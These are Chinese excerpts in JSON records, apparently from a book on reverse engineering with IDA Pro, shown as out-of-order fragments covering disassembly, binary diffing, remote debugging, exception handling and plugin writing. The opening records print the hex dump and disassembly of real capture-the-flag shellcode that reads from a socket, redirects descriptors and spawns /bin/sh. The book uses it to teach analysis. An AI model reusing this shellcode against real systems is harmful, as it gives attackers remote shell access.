    {"text": "现在，我们以在 DEFCON 18的“夺旗赛”网络中看到的一个重新汇编的客户端攻击数据流为例： 00000000 AD 02 0E 08 01 00 00 00 47 43 4E 93 43 4B 91 90 ........GCN.CK.. 00000010 92 47 4E 46 96 46 41 4A 43 4F 99 41 40 49 48 43 .GNF.FAJCO.A@IHC 00000020 4A 4E 4B 43 42 49 93 4B 4A 41 47 46 46 46 43 90 JNKCBI.KJAGFFFC. 00000030 4E 46 97 4A 43 90 42 91 46 90 4E 97 42 48 41 48 NF.JC.B.F.N.BHAH 00000040 97 93 48 97 93 42 40 4B 99 4A 6A 02 58 CD 80 09 ..H..B@K.Jj.X... 00000050 D2 75 06 6A 01 58 50 CD 80 33 C0 B4 10 2B E0 31 .u.j.XP..3...+.1 00000060 D2 52 89 E6 52 52 B2 80 52 B2 04 52 56 52 52 66 .R..RR..R..RVRRf 00000070 FF 46 E8 6A 1D 58 CD 80 81 3E 48 41 43 4B 75 EF .F.j.X...>HACKu. 00000080 5A 5F 6A 02 59 6A 5A 58 99 51 57 51 CD 80 49 79 Z_j.YjZX.QWQ..Iy 00000090 F4 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 50 54 .Rh//shh/bin..PT 000000A0 53 53 B0 3B CD 80 41 41 49 47 41 93 97 97 4B 48 SS.;..AAIGA...KH 很明显，这里的数据既包含 ASCII 数据，又包含二进制数据。"},
    {"text": "有时候，我们明显可以看到长长的“NOP 滑道”（x86 攻击中长长的 0x90 序列），而在其他情况下（如当前的例子），定位 NOP ，shellcode 可能并不明显。 例如，前面的十六进制数据中实际上就包含一个 NOP 滑道，但它不是真正的 x86 NOP 滑道，而是随机生成的一字节指令序列，这些指令对于随后使用的 shellcode 并无任何影响。"},
    {"text": "➊ seg000:00000000 db 0ADh ; ¡ seg000:00000001 db 2 seg000:00000002 db 0Eh seg000:00000003 db 8 seg000:00000004 db 1 seg000:00000005 db 0 seg000:00000006 db 0 seg000:00000007 db 0 seg000:00000008 ; ----------------------------------------------------------- seg000:00000008 inc edi seg000:00000009 inc ebx seg000:0000000A dec esi ... ; NOP slide and shellcode initialization omitted seg000:0000006D push edx seg000:0000006E push edx seg000:0000006F seg000:0000006F loc_6F: ; CODE XREF: seg000:0000007E↓ j seg000:0000006F inc word ptr [esi-18h] seg000:00000073 push 1Dh seg000:00000075 pop eax ➋ seg000:00000076 int 80h ; LINUX - sys_pause seg000:00000078 cmp dword ptr [esi], 4B434148h seg000:0000007E jnz short loc_6F seg000:00000080 pop edx seg000:00000081 pop edi seg000:00000082 push 2 seg000:00000084 pop ecx seg000:00000085 seg000:00000085 loc_85: ; CODE XREF: seg000:0000008F↓ j seg000:00000085 push 5Ah ; 'Z' seg000:00000087 pop eax seg000:00000088 cdq seg000:00000089 push ecx seg000:0000008A push edi seg000:0000008B push ecx ➌ seg000:0000008C int 80h ; LINUX - old_mmap seg000:0000008E dec ecx seg000:0000008F jns short loc_85 seg000:00000091 push edx seg000:00000092 push 'hs//' seg000:00000097 push 'nib/' ... ; continues to invoke execve to spawn the shell 值得注意的是，该数据流中的前 8 个字节（➊）实际上是协议数据，而不是 shellcode ，因此我们选择不对它们进行反汇编。"},
    {"text": "由于 IDA 只能为Linux系统调用编号提供注释，因此，我们需要进行一些研究才能得知：FreeBSD 系统调用 29 （1dh）实际为 recvfrom （而非 pause ），系统调用 90 （5Ah ）实际为 dup2 函数（而非 old_mmap ）。"},
    {"text": "未知 第1章 反汇编简介 拿到一本专门介绍 IDA Pro 的书，你很可能急切地想知道书里会讲些什么。很明显，本书以IDA 为中心，但我并不希望读者将其作为IDA Pro 用户手册。相反，本书旨在将IDA作为推动逆向工程技术讨论的工具。你会发现，在分析各种软件（包括易受攻击的应用程序和恶意软件）时，这些技术非常有用。在适当的时候，我将提供在使用 IDA 时需要遵循的详细步骤，好让你执行与你手头的任务有关的特殊操作。因此，我将简略地介绍 IDA 的功能，包括最初分析文件时需要执行的基本任务，最后讨论 IDA 的高级用法和定制功能（用来解决更具挑战性的逆向工程问题）。我不会介绍IDA 的所有功能。但是，你将发现，在应对逆向工程挑战时，本书介绍的功能极其有用，这也使得 IDA 成为你工具箱中最强大的武器。 在详细介绍 IDA 之前，了解反汇编过程的一些基础知识，以及其他一些对编译代码进行逆向工程的可用工具，会有一定好处。虽然这些工具的功能都不如 IDA 全面，但它们具备IDA 的一部分功能，有助于我们了解 IDA 的某些功能。本章的剩余部分主要介绍反汇编过程。 未知 18.5 其他加载器策略 如果花一些时间浏览 SDK 中的示例加载器，你将发现各种不同风格的加载器。Java 加载器（<SDKDIR>/ldr/javaldr）值得注意。对于某些文件格式来说，加载器与处理器模板之间的耦合非常松散。一旦加载器发现进入代码的入口点，处理器模块不需要其他信息，就能够正确反汇编这些代码。一些处理器模块可能需要大量与最初的源文件有关的信息，并且必须执行之前已经由加载器完成的许多解析任务。为了避免这种重复工作，加载器和处理器可能会以一种更加紧密耦合的方式配对。实际上，Java 加载器所采取的方法就是使用以下代码，将所有加载任务（那些通常由加载器的 load_file 函数完成的任务）交给处理器模块： static void load_file(linput_t *li, ushort neflag, const char *) { if (ph.id != PLFM_JAVA) { set_processor_type(\"java\", SETPROC_ALL | SETPROC_FATAL); } if (ph.notify(ph.loader, li, (bool)(neflag & NEF_LOPT))) { error(\"Internal error in loader<->module link\"); } } Java 加载器所做的唯一一件工作是确定处理器类型已被设置为 Java 处理器，之后，加载器将向处理器模块发送一条 ph.loader （在idp.hpp中定义）通知消息，告诉处理器加载阶段已经启动。收到通知后，Java 处理器将接管加载任务，并在这个过程中获得大量内部状态信息。在执行反汇编任务时，处理器将重用这些信息。 这种策略是否对你有用，完全取决于你是否正开发加载器及相关的处理器模块，以及你是否认为处理器能够得益于访问传统上由加载器获取的信息（分段、文件头字段、调试信息等）。 由加载器向处理器模块传递状态信息的另一种方法是使用数据库网络节点。在加载阶段，加载器可能会在特定的网络节点中填入一些信息，供处理器模块在随后的反汇编阶段检索使用。需要注意的是，频繁访问数据库，以检索以这种方式存储的信息，其速度要比利用可用的C++ 数据类型慢一些。"},
    {"text": "未知 26.1 使用IDA 进行远程调试 所有版本的 IDA 均附带有用于实现远程调试会话的服务器组件。 此外，IDA 还可以连接到使用 gdb_server 或内置gdb 存根的远程 gdb 会话。"},
    {"text": "linux_server 。 在Linux计算机上执行的、用于调试 32 位Linux应用程序的服务器组件。 linux_serverx64 。 在 64 位Linux计算机上执行的、用于调试 64 位Linux应用程序的服务器组件（仅用于 IDA 高级版）。 armlinux_server 。 在基于 ARM的计算机上执行的、用于调试 ARM应用程序的服务器组件。 android_server 。 在Android设备上执行的、用于调试 Android应用程序的服务器组件。"},
    {"text": "换句话说，如果你要将 Windows 版本的IDA 作为调试客户端，并且希望远程调试 Linux 应用程序，则除了要调试的二进制文件外，你只需复制 linux_server 文件 1 并在Linux系统上执行该文件。"},
    {"text": "启动服务器后，你可以在任何受支持的操作系统上运行 IDA ，并将它作为连接调试服务器的客户端界面，但任何时候，服务器都只能处理一个活动调试会话。"},
    {"text": "图26-2 GDB配置对话框 值得注意的是，IDA 无法获知运行 gdb_server 的计算机的体系结构，因此，你需要为其指定处理器类型（默认为 Intel x86 ），并可能还需要指定该处理器的字节次序。"},
    {"text": "如果你选择一个 IDA 远程调试器，你将看到如图 26-3 所示的配置对话框。 图26-3 远程调试器配置 提供适当的连接参数并单击 OK（确定）按钮后，IDA 将获得并显示远程调试服务器中的进程列表，以便你选择并连接到特定的进程。"},
    {"text": "选择调试器后，你还必须提供远程调试服务器的主机名称和密码信息（见图 26-1 ），然后你就可以使用 Debugger ▶Attach to Process 命令连接到远程进程。"},
    {"text": "26.1.3 远程调试期间的异常处理 在第25 章中，我们讨论了 IDA 调试器的异常处理及如何修改调试器的异常处理行为。 在远程调试会话过程中，调试器的默认异常处理行为由 exceptions.cfg 文件规定，该文件保存在客户计算机中（即你实际运行IDA 的计算机）。"},
    {"text": "唯一需要注意的是，你必须确保你执行的脚本和插件适用于目标进程运行的体系结构，而非 IDA 客户端运行的体系结构（除非它们碰巧为同一体系结构）。"},
    {"text": "但是，要了解如何及为何调用这些函数，还需要进行其他一些分析。 了解如何调用函数，首先需要知道给该函数传递哪些参数。 以 connect 函数调用为例，除了该函数被调用这一事实外，更为重要的是，还需要了解程序连接到的具体地址。"},
    {"text": "要逆向工程一个函数的签名（该函数所需参数的数量、类型和顺序），了解传递给该函数的数据尤为关键，这也说明了理解汇编语言如何操纵数据类型和数据结构的重要性。"},
    {"text": "下面调用 connect 函数的反汇编代码即说明了这一点： .text:004010F3 push 10h ; namelen .text:004010F5 lea ecx, ➊ [ebp+name] .text:004010F8 push ecx ; name .text:004010F9 mov edx, ➊ [ebp+s] .text:004010FF push edx ; s .text:00401100 call connect 我们看到，每个 push 指令都用被压入的参数的名称（根据 IDA 对函数原型的了解）进行了注释。"},
    {"text": "任何时候，你必须使用 Edit ▶Functions ▶Set Function Type命令，或者在函数名称上右击鼠标并在上下文菜单中选择 Set Function Type（或使用热键 Y）来设置函数的类型。"},
    {"text": ".text:00401050 ; ======== S U B R O U T I N E ========================= .text:00401050 .text:00401050 ; Attributes: bp-based frame .text:00401050 .text:00401050 foo proc near ; CODE XREF: demo_stackframe+2A ↓ p .text:00401050 .text:00401050 arg_0 = dword ptr 8 .text:00401050 arg_4 = dword ptr 0Ch .text:00401050 .text:00401050 push ebp .text:00401051 mov ebp, esp 如下所示，IDA 假定了 int 返回类型，根据所使用的 ret 指令类型正确推断出该函数采用了 cdecl 调用约定，并将其结合到函数名称中（如我们修改的那样），同时假定所有参数均为`int 类型。"},
    {"text": "图8-1 设置函数的类型 如果我们将该原型修改为 int __cdecl foo(float f, char * ptr) ，IDA 将自动为该函数插入原型注释（➊）并在反汇编列表中更改参数名称（➊），如下所示： .text:00401050 ; ======== S U B R O U T I N E ========================= .text:00401050 .text:00401050 ; Attributes: bp-based frame .text:00401050 .text:00401050 ➊ ; int __cdecl foo(float f, char *ptr) .text:00401050 foo proc near ; CODE XREF: demo_stackframe+2A ↓ p .text:00401050 .text:00401050 ➋ f = dword ptr 8 .text:00401050 ➋ ptr = dword ptr 0Ch .text:00401050 .text:00401050 push ebp .text:00401051 mov ebp, esp 最后，IDA 会向新修改的函数的所有调用方传播这些信息，从而改进对此处显示的所有相关函数调用的附加说明。"},
    {"text": ".text:004010AD mov eax, [ebp+ ➍ ptr] .text:004010B0 mov [esp+4], eax ➌ ; ptr .text:004010B4 mov eax, [ebp+ ➍ f] .text:004010B7 mov [esp], eax ➌ ; f .text:004010BA call foo 返回到导入的库函数，IDA 通常已经知道被调用函数的原型了。"},
    {"text": "在本章的剩余部分，我们将讨论如何确定程序何时使用数据结构，如何解析这些结构的组织布局，以及如何利用 IDA 来提高包含这类结构的反汇编代码清单的可读性。"},
    {"text": "如果一条指令从内存加载了一个32 位寄存器，我们可以据此推断，相关内存位置保存有一个4 字节的数据类型（虽然我们无法判断其到底是一个4字节整数，还是一个4字节指针）。"},
    {"text": "数据转盘这一名称源自于相关的数据格式化热键D 的行为。 按下D 键后，当前选中地址所在的数据项被重新格式化为数据转盘列表中的下一种数据类型。 以前面包含3个数据项的列表为例，当前格式为 db 的项被切换为 dw ，格式为 dw 的项被切换为 dd ，格式为 dd 的项被切换为 db ，从而完成了转盘的循环过程。 对一个非数据项（如代码）使用格式化热键，该项将被格式化为转盘列表中的第一种数据类型（本例中为 db ）。"},
    {"text": "第一个对话框如图7-9所示，通过Options▶ASCII String Style 命令即可打开该对话框，ASCII在这里有些用词不当，因为IDA 能够理解许多其他字符串风格。"},
    {"text": "图7-9 字符串数据配置 第二个用于配置字符串操作的对话框如图7-10 所示，通过Options▶General可打开该对话框，再单击上面的Strings 选项卡即可在这里配置其他与字符串有关的选项。"},
    {"text": "如果没有选择Generate serial names（生成序列名，默认设置），IDA 将使用指定的前缀和从字符串中提取出的字符，生成一个长度不超过当前最大名称长度的名称，下面的字符串即是一个例子： .rdata:00402069 aThisIsACharact db 'This is a Character array',0 名称的首字母要大写，在生成名称时，任何禁止用在名称中的字符（如空格）将被省略。"},
    {"text": "7.4.3 指定数组 由高级语言生成的反汇编代码清单的一个缺点在于，它们极少提供有关数组大小方面的信息。 在反汇编代码清单中，如果数组中的每一个元素都必须在它自己的反汇编行上指定，那么，指定一个数组可能需要大量空间。"},
    {"text": ".rdata:00402060 unk_402060 db 0 ; DATA XREF: sub_401350+8↑o .rdata:00402060 ; sub_401350+18↑ o .rdata:00402061 db 0 .rdata:00402062 db 0 .rdata:00402063 db 0 .rdata:00402064 db 0 .rdata:00402065 db 0 .rdata:00402066 db 0 .rdata:00402067 db 0 .rdata:00402068 db 0 .rdata:00402069 db 0 .rdata:0040206A db 0 IDA 提供一些工具，可将连续的数据定义结合起来，组成一个单独的数组定义。"},
    {"text": "要创建数组，首先选择数组中的第一个元素（这里我们选择的是 unk_402060 ），然后通过Edit▶Array命令打开如图7-11 所示的“创建数组”对话框。"},
    {"text": ".rdata:00402060 byte_402060 db 1A0h dup(0) ; DATA XREF: sub_401350+8 ↑o .rdata:00402060 ; sub_401350+18↑o 这段代码唯一的作用就是将这416行反汇编代码合并成单独一行（主要是因为使用了重复结构）。"},
    {"text": "未知 17.3 插件安装 和构建插件相比，安装插件非常简单。要安装插件，你只需将已编译的插件模块复制到<IDADIR>/plugins 目录中。需要注意的是，在 Windows 系统中不能覆写一个正在使用的可执行文件。因此，要在 Windows 系统中安装一个插件，你必须确保从 IDA 中卸载任何旧版本的插件。根据插件的加载选项，插件可能会在数据库关闭时卸载。但是，对于已经设置 PLUGIN_FIX 标志的插件，你可能需要完全关闭 IDA 才能将新插件复制到<IDADIR>/plugins 目录中。 在Linux 和OSX 系统上，你可以在使用可执行文件时覆写它们，因此，在安装一个新版本的插件时，你不需要卸载这个插件。但是，在 IDA 下一次加载插件之前，新版本的插件不会加载到IDA 中。 一些IDA 插件仅以二进制形式发布，而其他插件则同时以源代码和二进制格式发布。要安装这类插件，你通常需要找到适合你的 IDA 版本的已编译插件，并将它复制到<IDADIR>/plugins目录中。在安装插件之前，请一定阅读你希望安装的插件附带的文档资料（如果有），因为有一些插件需要你安装其他组件才能正常运行。"},
    {"text": "这个漏洞公告提供了一些技术信息，描述已被补丁修复的问题的本质和严重程度，但这些信息的详细程度一般不足以开发一个针对该问题的有效破解程序。"},
    {"text": "要突出这些变更，一个最简单的方法是将已打补丁的二进制文件与对应的未打补丁的文件比较。 如果只需要在已打补丁的源文件中寻找不同，那么，使用 diff 之类面向文本、较为实用的标准工具，就可以迅速指出发生变更的位置。"},
    {"text": "有很多工具专门用于二进制文件差异比较，包括 Zynamics 1 开发的商业版BinDiff、eEye Digital Security 2 开发的免费 BDS （二进制差异比较套件）可以 Core Labs（属于Core Impact 3 的开发者Core Security）下载的免费工具 Turbodiff 4 以及Nicolas Pouvesle的PatchDiff2 5 。"},
    {"text": "表22-2 PatchDiff2 名称 PatchDiff2 作者 Nicolas Pouvesle 发布 用于IDA 5.7 的源代码和二进制文件 价格 免费 描述 生成并显示二进制文件差异 信息 http://code.google.com/p/patchdiff2/ 通常，如果调用该插件，将打开用于原始二进制文件的数据库，然后通过 Edit ▶Plugins （编辑▶插件）菜单或其关联的热键（默认为 CTRL-8）激活 PatchDiff2。"},
    {"text": "PatchDiff2 将你从中调用该插件的数据库称为 IDB1 或“第一个idb”。 激活后，PatchDiff2 将打开将与当前打开的数据库进行比较的另一个数据库，此数据库称为 IDB2 或“第二个 idb”。"},
    {"text": "实际上，这些函数或者已添加到已打补丁的版本并从未打补丁的版本中删除，或者与同一二进制文件中的其他函数过于相似，以至于无法与另一个二进制文件中的对应函数区别开来。"},
    {"text": "File Function name Function address Sig Hash CRC ---- ------------- ---------------- --- ---- --- 1 sub_7CB25FE9 7CB25FE9 000000F0 F4E7267B 411C3DCC 1 sub_7CB6814C 7CB6814C 000000F0 F4E7267B 411C3DCC 2 sub_7CB6819A 7CB6819A 000000F0 F4E7267B 411C3DCC 2 sub_7CB2706A 7CB2706A 000000F0 F4E7267B 411C3DCC 很明显，文件 1 中的两个函数与文件 2 中的两个函数相关，但 PatchDiff2无法确定如何对它们进行配对。"},
    {"text": "如果你能够手动将一个文件中的函数与其在另一个文件中的对应函数相匹配，就可以使用PatchDiff2 的Set Match（设置匹配）功能（位于上下文菜单中）在列表中选择一个函数，然后将其与列表中的另一个函数相匹配。"},
    {"text": "PatchDiff2 利用颜色编码突出显示已添加到二进制文件的已打补丁版本中的代码块，以便于你重点关注代码中已更改的部分。 图22-2 PatchDiff2 的图形化函数比较 在这些图形中，两个函数中均包含代码块➊到➍，而代码块➎则添加到函数的已打补丁版本中。"},
    {"text": "在差异化分析过程中，最初你会对匹配的函数最感兴趣，因为它们可能包含已合并到已打补丁的二进制文件中的更改（这些更改修复了原始二进制文件中发现的漏洞）。"},
    {"text": "未知 致谢 和第1 版一样，我想感谢家人在我撰写本书时给予我的支持。我对他们的忍耐和宽容深表感谢。 我还要感谢那些推动第1版取得成功的人们，特别是广大的读者们，希望我的著作能够为他们学习逆向工程提供帮助。没有他们的支持和建议，我不可能撰写第2版。 我要再次感谢技术编辑Tim Vidas，感谢他努力工作，还要感谢他的妻子Sheila对我们工作的支持。 我还要感谢Hex-Rays 的开发人员，不仅感谢他们开发出优秀的产品，而且谢谢他们容忍我那“漏洞百出”的报告，事实证明，其中许多报告都是错误警报。感谢Ilfak 投入大量时间，感谢Elias 、Igor 和Daniel提供的深刻见解。正是因为他们的努力，才使IDA 成为我最喜爱的软件。 最后，我要感谢Alison Law及No Starch 出版社的所有工作人员，他们的辛苦劳动使得本书得以顺利出版。"},
    {"text": "但异常通常表示存在问题，而调试器的目的则是帮助你解决这些问题。 因此，调试器往往希望处理在程序运行过程中发生的所有异常，以帮助你找到 bug。"},
    {"text": "如果程序希望自行处理异常，我们需要阻止调试器拦截这些异常，或者在异常被拦截时，我们至少需要采取办法，让调试器将异常转交给我们控制的进程。"},
    {"text": "自动异常处理通过 Debugger ▶Debugger Options命令配置，其对话框如图 25-7 所示。 图25-7 “调试器设置”对话框 我们可以配置几个事件自动中止调试器，并可以将大量事件自动记录到 IDA 的消息窗口中，除此以外，“调试器设置”对话框可用于配置调试器的异常处理行为。 Edit exceptions按钮打开如图25-8 所示的异常配置对话框。 图25-8 异常配置对话框 对于调试器已知的每一种异常类型，这个对话框列出了一个特定于操作系统的异常代码、异常的名称、调试器是否中止进程（ Stop/No ），以及调试器是否会处理异常，或自动将异常传递给应用程序处理（ Debugger/Application ）。"},
    {"text": "你还可以通过异常配置对话框编辑各个异常，逐个会话地（也就是说，在打开特定数据库的同时）配置异常处理。 要修改调试器对于一个给定异常类型的行为，在“异常配置”对话框中右击需要修改的异常，并选择 Edit ，得到的“异常处理”对话框如图 25-9 所示。 图25-9 “异常处理”对话框 其中的两个选项对应于 exceptions.cfg 文件中的两个可配置选项，你可以为任何异常配置这些选项。"},
    {"text": "通过第二个配置选项可以决定，是否应将一个给定类型的异常传递给被调试的应用程序，以便该应用程序有机会使用它自己的异常处理程序处理这个异常。 如果一个应用程序的正常运行需要这类异常处理程序被执行，你应该选择将相关类型的异常传递给该应用程序处理。"},
    {"text": "如果你选择继续执行程序，IDA 将显示如图 25-10 所示的Exception Handling（异常处理）对话框。 图25-10 Exception Handling对话框 这时，你可以选择更改 IDA 处理给定异常类型的方式（Change exception definition）、向应用程序传递异常（Ye s），或允许 IDA 忽略异常（No）。"},
    {"text": "如果你正在遍历代码，并且IDA 确定你即将执行的指令会生成异常，这时会出现一种特殊情况，就像是将设置跟踪标记的 int 3 、 icebp 或 popf 一样。"},
    {"text": "图25-11 异常确认对话框 多数情况下，Run 选项都是最适当的选项，如果没有依附调试器，这时应用程序会看到它所期待的行为（见图 25-11 所示的对话框）。"},
    {"text": "异常处理程序列表是一个标准的链表数据结构，其中包含一个指向链中下一个异常处理程序的指针，以及一个指向处理生成的异常的函数的指针。 异常在列表中由一个处理程序往下传递给另一个处理程序，直到选中一个处理程序来处理异常，并通知操作系统进程将继续正常执行。 如果没有选中已安装的异常处理程序来处理当前的异常，则操作系统会终止进程，或者当进程被调试时，操作系统会通知调试器，被调试的进程中发生了一个异常。"},
    {"text": "这段中的第一个双字如下所示： TIB[000009E0]:7FFDF000 TIB_000009E0_ segment byte public 'DATA' use32 TIB[000009E0]:7FFDF000 assume cs:TIB_000009E0_ TIB[000009E0]:7FFDF000 ;org 7FFDF000h ➊ TIB[000009E0]:7FFDF000 dd offset dword_22FFE0 前3 行显示该段的摘要信息，而第四行（➊）包含该段的第一个双字，它指出：第一个异常处理程序记录可以在地址 22FFE0h``（offset dword_22FFE0） 处找到。"},
    {"text": "如果 IDA 没有为这个特殊的线程安装异常处理程序，则 TEB 中的第一个双字将包含值 0FFFFFFFFh ，表示已经到达异常处理程序链的结尾部分。 在这个例子中，分析地址 22FFE0h 处的两个双字，得到以下结果： Stack[000009E0]:0022FFE0 ➊dword_22FFE0 dd 0FFFFFFFFh ;DATA XREF:TIB[000009E0]:7FFDF000↓o Stack[000009E0]:0022FFE4 ➋ dd offset loc_7C839AA8 第一个双字（➊）包含值 0FFFFFFFFh ，表示这是链中的最后一个异常处理程序记录。 第二个双字（➋）包含地址 7C839AA8h（offset loc_7C839AA8） ，表示应调用 loc_7C839AA8 处的函数来处理进程执行过程中发生的任何异常。 如果要跟踪这个进程如何处理异常，首先可以在地址 7C839AA8h 处设置一个断点。"},
    {"text": "如果操作系统调用一个异常处理函数，它将允许该函数访问CPU 寄存器在发生异常时设置的所有内容。 在处理异常的过程中，该函数可能会修改一个或几个CPU 寄存器值，然后将控制权转交给应用程序。 这样做是为了让异常处理程序有机会修复进程的状态，从而使进程继续正常执行。 如果异常处理程序决定让该进程继续执行，它将使用异常处理程序所做的修改向操作系统发出通知，并还原该进程的寄存器值。 如第21 章所述，一些反逆向工程实用工具通过在异常处理阶段修改指令指针的保存值，利用异常处理程序更改进程的执行流。"},
    {"text": "在有关跟踪异常的博客文章中，Ilfak 讨论了一个事实，即 Windows SEH异常处理程序通过ntdll.dll函数 NtContinue （也叫做 ZwContinue ）将控制权转交给受影响的进程。"},
    {"text": "由于 NtContinue 已经访问了该进程保存的所有寄存器值（通过它的一个参数），因此通过分析 NtContinue 中保存的指令指针所包含的值，我们可以确定该进程到底在什么地方恢复执行。"},
    {"text": "下面的代码说明如何在调试器中启动一个进程，并在 NtContinue 上设置一个断点： static main() { auto func; RunTo(BeginEA()); GetDebuggerEvent(WFNE_SUSP, -1); func = LocByName(\"ntdll_NtContinue\"); AddBpt(func); SetBptCnd(func, \"bpt_NtContinue()\"); } 这段代码的目的很简单，即在 NtContinue 的入口处设置一个条件断点。 该断点的行为通过下面的IDC 函数 bpt_NtContinue 执行： static bpt_NtContinue() { ➊ auto p_ctx = Dword(ESP + 4); //get CONTEXT pointer argument ➋ auto next_eip = Dword(p_ctx + 0xB8); //retrieve eip from CONTEXT ➌ AddBpt(next_eip); //set a breakpoint at the new eip ➍ SetBptCnd(next_eip, \"Warning(\\\"Exception return hit\\\") || 1\"); return 0; //don’t stop } 这个函数首先定位指向上述进程保存的寄存器上下文信息的指针（➊），从 CONTEXT 结构体中偏移量为 0xB8 处获取所保存的指令指针值（➋），然后在该地址上设置一个断点（➌）。"},
    {"text": "例如，如果你怀疑一个异常处理程序正操纵调试寄存器的内容来阻止你设置硬件断点，那么在将控制权返还给被调试的进程之前，你可以将调试寄存器的值恢复到一个已知正确的值。"},
    {"text": "plugin_t 类的布局如下所示，其中的注释摘自 loader.hpp 文件： class plugin_t { public: int version; // Should be equal to IDP_INTERFACE_VERSION int flags; // Features of the plugin int (idaapi* init)(void); // Initialize plugin void (idaapi* term)(void); // Terminate plugin. This function will be called // when the plugin is unloaded. May be NULL. void (idaapi* run)(int arg); // Invoke plugin char *comment; // Long comment about the plugin char *help; // Multiline help about the plugin char *wanted_name; // The preferred short name of the plugin char *wanted_hotkey; // The preferred hotkey to run the plugin }; 每个插件都必须导出一个名为 PLUGIN 的 plugin_t 对象。"},
    {"text": "这个成员指向一个函数，只要用户激活（通过热键、菜单项或脚本调用）你的插件，都应调用这个函数。 这个函数是任何插件的核心组件，因为用户正是通过它定义插件行为的。"},
    {"text": "对于已加载的插件，你没有必要对它们使用唯一的名称，但是，从菜单中选择一个插件名称后，如果有两个插件全都使用这个名称，你很难确定到底哪一个插件被激活。"},
    {"text": "下面是一个初始化 plugin_t 对象的例子： int idaapi idaboook_plugin_init(void); void idaapi idaboook_plugin_term(void); void idaapi idaboook_plugin_run(int arg); char idabook_comment[] = \"This is an example of a plugin\"; char idabook_name[] = \"Idabook\"; char idabook_hotkey = \"Alt-F9\"; plugin_t PLUGIN = { IDP_INTERFACE_VERSION, 0, idaboook_plugin_init, idaboook_plugin_term, idaboook_plugin_run, idabook_comment, NULL, idabook_name, idabook_hotkey }; plugin_t 类所包含的函数指针允许 IDA 定位你的插件所需的函数，而不需要你导出这些函数，或为它们选择特定的名称。"},
    {"text": "17.1.1 插件生命周期 一般的IDA 会话从启动 IDA 应用程序本身开始，然后是加载和自动分析一个新的二进制文件或现有的数据库，最后等待用户交互。"},
    {"text": "在卸载插件时，IDA 将调用 PLUGIN.term （假设它不是 NULL ）。 卸载插件的情形因 PLUGIN.flags 中设置的位而异。 没有指定标志位的插件将根据 PLUGIN.init 返回的值进行加载。"},
    {"text": "插件的静态初始化发生在编译时，而动态初始化则在加载时通过在 PLUGIN.init 中执行的操作来完成。 如前所述， PLUGIN.flags 字段（在编译时初始化）规定了插件的几个行为。"},
    {"text": "在IDA 启动时，它会检查<IDADIR>/plugins 目录中每个插件的 PLUGIN.flags 字段。 IDA 为每个指定了 PLUGIN_FIX 标志的插件调用 PLUGIN.init 函数。 PLUGIN_FIX 插件在任何其他 IDA 模块之前加载，因此，它们有机会获知 IDA 能生成的任何事件，包括由加载器模块和处理器模块生成的通知。 一般而言，这些插件的 PLUGIN.init 函数应返回 PLUGIN_OK 或 PLUGIN_KEEP ，因为如果要 PLUGIN.init 返回 PLUGIN_SKIP ，那么在IDA 启动时请求加载这些插件就没有任何意义。 但是，如果插件用于在 IDA 启动时执行一次性的初始化任务，你可以考虑在插件的 init 函数中执行这个任务，并返回 PLUGIN_SKIP ，指出你不再需要这个插件。 每次加载一个处理器模块时，IDA 将对每一个可用的插件进行 PLUGIN_PROC 标志取样，并为每一个设置 PLUGIN_PROC 标志的插件调用 PLUGIN.init 。 PLUGIN_PROC 标志允许将要加载的插件响应处理器模块生成的通知，从而补充这些模块的行为。 这些模块的 PLUGIN.init 函数可以访问全局 processor_t 对象 ph ，检查这个对象，并根据检查结果决定应忽略还是保留插件。 例如，如果IDA 加载的是 x86 处理器模块，则专门供 MIPS处理器模块使用的插件可能会返回 PLUGIN_SKIP ，如下所示： int idaapi mips_init() { if (ph.id != PLFM_MIPS) return PLUGIN_SKIP; else return PLUGIN_OK; //or, alternatively PLUGIN_KEEP } 最后，每次加载或创建一个数据库时，IDA 都调用每个尚未加载的插件的 PLUGIN.init 函数，以确定是否应加载这些插件。"},
    {"text": "无论出于什么原因，如果一个插件决定返回 PLUGIN_OK （或 PLUGIN_KEEP ），则 PLUGIN.init 函数还应执行一次性初始化操作，以确保插件在最初被激活时能够正常运行。"},
    {"text": "PLUGIN_OK 与 PLUGIN_KEEP 的一个主要不同在于， PLUGIN_KEEP 可防止一个插件被反复加载和卸载，因而不必像一个指定了 PLUGIN_OK 的插件那样，需要分配、释放和重新分配资源。 作为一条通用原则，如果将来对插件的调用取决于之前调用插件过程中积累的状态， PLUGIN.init 应返回 PLUGIN_KEEP 。"},
    {"text": "hook_to_notification_point 函数用于告诉 IDA 你对某类事件感兴趣，并且每次在指定的类中发生这类事件时，IDA 应调用该函数。 使用 hook_to_notification_point 函数对数据库事件表示兴趣的例子如下所示： //typedef for event hooking callback functions (from loader.hpp) typedef int idaapi hook_cb_t(void *user_data, int notification_code, va_list va); //prototype for hook_to_notification_point (from loader.hpp) bool hook_to_notification_point(hook_type_t hook_type, hook_cb_t *callback, void *user_data); int idaapi idabook_plugin_init() { //Example call to hook_to_notification_point hook_to_notification_point(HT_IDB, idabook_database_cb, NULL); } 通知共分为4 大类：处理器通知（ida.hpp 中的 idp_nofity ， HT_IDP ）、用户界面通知（kernwin.hpp中的 ui_notification_t ， HT_UI ）、调试器事件（dbg.hpp中的 dbg_notification ， HT_DBG ）和数据库事件（idp.hpp中的 idp_event_t ， HT_IDB ）。"},
    {"text": "继续前面的例子，我们可以定义一个回调函数处理数据库事件，如下所示： int idabook_database_cb(void *user_data, int notification_code, va_list va) { ea_t addr; ulong original, current; switch (notification_code) { case idb_event::byte_patched: ➊ addr = va_arg(va, ea_t); current = get_byte(addr); original = get_original_byte(addr); msg(\"%x was patched to %x. Original value was %x\\n\", addr, current, original); break; } return 0; } 这个特殊的例子仅识别 byte_patched 通知消息，它打印被修补字节的地址、该字节的新值以及该字节的初始值。"},
    {"text": "下面是对数据库通知事件解除挂钩的一个例子： void idaapi idabook_plugin_term() { unhook_from_notification_point(HT_IDB, idabook_database_cb, NULL); } 只要卸载了功能正常的插件，就应解除它与任何通知之间的挂钩。"},
    {"text": "基于我们前面初始化的 PLUGIN 对象， PLUGIN.run 的最短（也令人乏味）实现代码如下所示： void idaapi idabook_plugin_run(int arg) { msg(\"idabook plugin activated!\\n\"); } 每个插件都拥有供其使用的 C++ 和IDA API 。"},
